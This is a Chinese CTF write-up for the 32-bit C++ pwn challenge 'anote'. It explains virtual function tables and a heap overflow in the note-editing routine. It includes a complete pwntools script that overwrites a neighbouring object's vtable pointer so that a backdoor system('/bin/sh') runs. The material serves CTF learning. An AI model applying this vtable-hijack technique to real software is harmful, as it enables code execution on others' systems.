当前位置: 首页 > news >正文

第二届长城杯初赛 anote

这题主要难在读代码,考察C++的虚函数表。这方面还没怎么接触过,mark一下。

大致意思是这样:在C++中,如果一个类含有虚函数,它就会有一个虚表指针vptr,指向这个类的虚函数表。每个子类的开头都会继承这个虚表指针,从而能够通过它找到父类的虚函数。这样方便继承和重载。

更多信息可以参考CTF Pwn中的 UAF 及 pwnable.kr UAF writeup。

checksec显示i386,32位,NO PIE。对32位程序调试时,可以使用x/20wx命令。

strings命令显示GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.12) 5.4.0 20160609,我们看后面的16.04.12,还是ubuntu16的范畴,选用2.23-0ubuntu11.3_i386版本即可。


//if(choice==1)v1 = operator new(0x1Cu);                for ( i = 0; i < 7; ++i )v1[i] = 0;create(v1);index = tot++;*(&heap + index) = v1;std::operator<<<std::char_traits<char>>(&std::cout,"got new one!\n",v12,v16,index2,len,choice,tot,v24,heap,v26,v27,v28,v29,v30,v31,v32,v33,v34,content,v36,v37,v38,v39);}

操作1。看上去非常乱,有一堆变量在满天乱飞,不过实际上这些东西完全不需要管。
std::operator<<<std::char_traits<char>>这里实际上就是C++的输出流cout<<...由于反编译的解析原因,流输入输出被识别为了大量参数的传递,对分析完全没有影响,忽略即可
这里就是用operator new申请固定0x1C大小的堆空间,存到heap[index]中,调用create函数(不重要),然后输出一句"got new one!\n"


if ( choice == 2 ){std::operator<<<std::char_traits<char>>(&std::cout,"index: ",v12,v16,index2,len,2,tot,v24,heap,v26,v27,v28,v29,v30,v31,v32,v33,v34,content,v36,v37,v38,v39);std::istream::operator>>(&std::cin, &index2);if ( index2 >= tot ){v4 = std::operator<<<std::char_traits<char>>(&std::cout,"the item does not exist.",v13,v17,index2,len,choice,tot,v24,heap,v26,v27,v28,v29,v30,v31,v32,v33,v34,content,v36,v37,v38,v39);std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);exit(0);}now = *(&heap + index2);v6 = std::operator<<<std::char_traits<char>>(&std::cout,"gift: ",v13,v17,index2,len,choice,tot,v24,heap,v26,v27,v28,v29,v30,v31,v32,v33,v34,content,v36,v37,v38,v39);v7 = std::ostream::operator<<(v6, now);std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>);show(*(&heap + index2));}

操作2。v6v7等是上一句输出流的返回值,却用作下一句输出的参数,体现了输入输出流的特点。
就是查询给定index,查询heap[index]的值。show函数无法F5,忽略即可。


if ( choice == 3 ){std::operator<<<std::char_traits<char>>(&std::cout,"index: ",v12,v16,index2,len,3,tot,v24,heap,v26,v27,v28,v29,v30,v31,v32,v33,v34,content,v36,v37,v38,v39);v8 = std::istream::operator>>(&std::cin, &index2);std::istream::get(v8);if ( index2 >= tot ){v9 = std::operator<<<std::char_traits<char>>(&std::cout,"the item does not exist.",v14,v18,index2,len,choice,tot,v24,heap,v26,v27,v28,v29,v30,v31,v32,v33,v34,content,v36,v37,v38,v39);std::ostream::operator<<(v9, &std::endl<char,std::char_traits<char>>);exit(0);}std::operator<<<std::char_traits<char>>(&std::cout,"len: ",v14,v18,index2,len,choice,tot,v24,heap,v26,v27,v28,v29,v30,v31,v32,v33,v34,content,v36,v37,v38,v39);v11 = std::istream::operator>>(&std::cin, &len);std::istream::get(v11);if ( len > 40 ){std::operator<<<std::char_traits<char>>(&std::cout,"too big!\n",v15,v19,index2,len,choice,tot,v24,heap,v26,v27,v28,v29,v30,v31,v32,v33,v34,content,v36,v37,v38,v39);exit(0);}std::operator<<<std::char_traits<char>>(&std::cout,"content: ",v15,v19,index2,len,choice,tot,v24,heap,v26,v27,v28,v29,v30,v31,v32,v33,v34,content,v36,v37,v38,v39);std::istream::getline(&std::cin, &content, 32);edit(*(&heap + index2), &content, index2, len);(***(&heap + index2))(*(&heap + index2));}
void *__cdecl edit(int a1, void *src, int a3, size_t n)
{*(a1 + 4) = a3;return memcpy((a1 + 8), src, n);
}

操作3。可以编辑堆的内容,长度不超过40。
注意最后的(***(&heap + index2))(*(&heap + index2));
根据虚函数以及edit函数中的代码可知,*(heap[index2]+0)表示该对象的虚表指针vptr,*(heap[index2]+4)是下标index2*(heap[index2]+8)是content。
(原来的content其实存储在另一个chunk里,只是把它复制到了heap[index2]+8这个位置)

于是(***(&heap + index2))()表示的就是,从虚函数表中取出第一个函数执行,后面跟的*(&heap + index2)表示该函数的参数


int sub_80489CE()
{return system("/bin/sh");
}

有个后门函数。NO PIE嘛,很正常。


创建的时候只有0x1C空间,但编辑长度可以到40,显然可以做溢出。不难发现相邻下标的heap地址固定相差0x20,溢出长度也很容易计算。

pwndbg可以看到这个虚表指针固定位于0x8048f48,我们没法直接修改其指向的虚函数地址。

那么考虑伪造一个假的虚表指针,指向后门函数。只需要让堆x的内容是0x80489CE,通过操作2计算出堆x的content地址;然后通过堆溢出修改堆y开头的虚表指针,使其变为上述地址。

这样,再次进行操作3时,假虚表指针指向的虚函数表第一个函数是sub_80489CE,get shell。


from pwn import *
context.log_level="debug"
io=process("./note")
elf=ELF("./note")
def create():io.sendlineafter("Choice>>",str(1))
def show(index):io.sendlineafter("Choice>>",str(2))io.sendlineafter("index: ",str(index))io.recvuntil("gift: ")return int(io.recvline().strip(),0)//十六进制字符串转十进制
def edit(index,content):io.sendlineafter("Choice>>",str(3))io.sendlineafter("index: ",str(index))io.sendlineafter("len: ",str(len(content)))io.sendlineafter("content: ",content)
create()//堆0,用于做溢出
create()//堆1,被溢出修改开头的虚表指针
create()//堆2,存放后门地址
shell_addr=0x80489CE
addr2=show(2)+0x8//构造伪虚表指针,注意偏移8字节才是content
edit(2,p32(shell_addr))
edit(0,p32(0)*6+p32(addr2))//溢出,注意32位
edit(1,"NiYiJiKu")//随便edit一下
io.interactive()
http://www.jsqmd.com/news/305152/

相关文章:

  • 基于STM32单片机火灾报警系统 智能楼宇 烟雾温度火焰防盗无线DIY
  • PyTorch镜像中的Bash/Zsh高亮插件使用体验分享
  • 基于STM32单片机甲醛检测系统 空气质量 智能家居 WIFI物联网成品
  • Z-Image-Turbo图像生成实战:Python启动脚本与输出路径管理指南
  • 实测分享:BSHM人像抠图的真实效果有多强
  • 基于STM32单片机甲醛温湿度烟雾火灾报警 空气质量检测PM2.5 系统
  • 基于STM32单片机红外线感应自动门 液晶显示 自动 手动
  • 基于STM32单片机交流电压电流电能检测系统 电功率 嵌入式DIY成品
  • 基于STM32单片机分贝检测噪音采集 PM2.5 温湿度报警物联网DIY
  • 基于STM32单片机多功能智能头盔 水位防滑 GPS GSM 语音提示
  • 基于STM32单片机恒温箱系统 2路继电器控制 蓝牙
  • 基于STM32单片机教室智能灯控制 光敏 WIFI 语音识别
  • 基于STM32单片机教室智能灯控制 光敏 蓝牙 语音识别
  • 软件测试(二)
  • 大数据领域数据共享的数据集成技术
  • Linux 之 【进程间通信】(消息队列与信号量、Systrm VIPC在内核中数据结构设计)
  • 大模型学习完全指南:3阶9步框架助你高效掌握核心技术_AI大模型高效学习指南
  • 2026年Agent元年:大模型应用工程师50w+年薪学习路线与实战指南,大模型应用工程师年薪50w
  • Linux 之 【进程间通信】(共享内存、ftok、shmget、shmat、shmdt、shctl、IPC相关指令)
  • 如何提高大数据领域数据建模的准确性和可靠性
  • CGO调用OpenCV实现多角度模板匹配性能分析
  • 基于STM32单片机烟雾温度防盗报警 物联网云平台 火灾检测系统DIY
  • Photoshop CS6 精简绿色版Photoshop CS6 精简绿色版分享
  • 基于STM32单片机物联网云平台 WIFI点滴速度液体检测 输液系统DIY
  • 【Termux】Photopea离线版部署
  • python脚本实现短剧配音
  • 洛谷 P9100 [PA 2020] Miny 题解
  • Java应用实例:简易背单词程序(更新)
  • 初识线程:带你理解程序运行的基本流程
  • 后端开发效率翻倍:IntelliJ IDEA的5个“神级插件